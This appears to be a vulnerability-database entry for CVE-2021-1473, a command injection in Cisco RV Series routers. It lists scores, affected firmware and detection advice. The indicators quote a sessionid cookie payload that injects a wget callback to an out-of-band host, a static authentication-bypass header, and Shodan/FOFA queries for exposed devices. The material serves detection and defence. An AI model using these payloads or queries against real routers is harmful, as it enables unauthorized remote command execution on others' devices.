cbcvebase.
CVE-2021-1473
published 2021-04-08

CVE-2021-1473: Multiple vulnerabilities exist in the web-based management interface of Cisco Small Business RV Series Routers. A remote attacker could execute arbitrary…

PriorityP191critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
64.16%
99.1th percentile
Multiple vulnerabilities exist in the web-based management interface of Cisco Small Business RV Series Routers. A remote attacker could execute arbitrary commands or bypass authentication and upload files on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.

Affected

6 ranges
VendorProductVersion rangeFixed in
ciscocisco_small_business_rv_series_router_firmware
ciscorv340_firmware< 1.0.03.211.0.03.21
ciscorv340w_firmware< 1.0.03.211.0.03.21
ciscorv345_firmware< 1.0.03.211.0.03.21
ciscorv345p_firmware< 1.0.03.211.0.03.21
ciscosmall_business_rv_series_routers

Detection & IOCsextracted from sources · hover to see the quote

url/upload
cookiesessionid='`wget http://{{interactsh-url}}`'
filenameconfig.xml
path/upload
  • Monitor POST requests to the /upload endpoint on Cisco RV Series routers for suspicious Cookie (sessionid) values containing shell metacharacters (backticks, single quotes, command substitution syntax) indicative of OS command injection.
  • Alert on HTTP requests to /upload with a static or base64-encoded Authorization header (e.g., QUt6NkpTeTE6dmk4cW8=) that bypasses authentication on affected Cisco RV340/RV345 firmware <= 1.0.03.20.
  • Use Shodan/FOFA queries to identify exposed Cisco RV340 management interfaces as potential targets: http.html:"Cisco rv340" or body="cisco rv340".
  • Successful exploitation results in code execution as www-data; monitor for unexpected processes spawned by www-data on Cisco RV340/RV345 devices.
  • Inspect multipart/form-data POST bodies to /upload for the field name 'GXbLINHYkFI' containing 'configurationFILE://Configuration/config.xml' as a fingerprint of exploit activity.
  • ·Vulnerability affects RV16X/RV26X firmware versions 1.0.01.02 and before, and RV34X firmware versions 1.0.03.20 and before. Devices on newer firmware are not affected.
  • ·The Metasploit module specifically targets RV340, RV340W, RV345, and RV345P models; detection rules should be scoped accordingly.
  • ·CVE-2021-1473 (command injection via sessionid cookie) is chained with CVE-2021-1472 (authentication bypass); both CVEs must be considered together for full exploit coverage.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck5.3MEDIUM
vendor_cisco7.3HIGH
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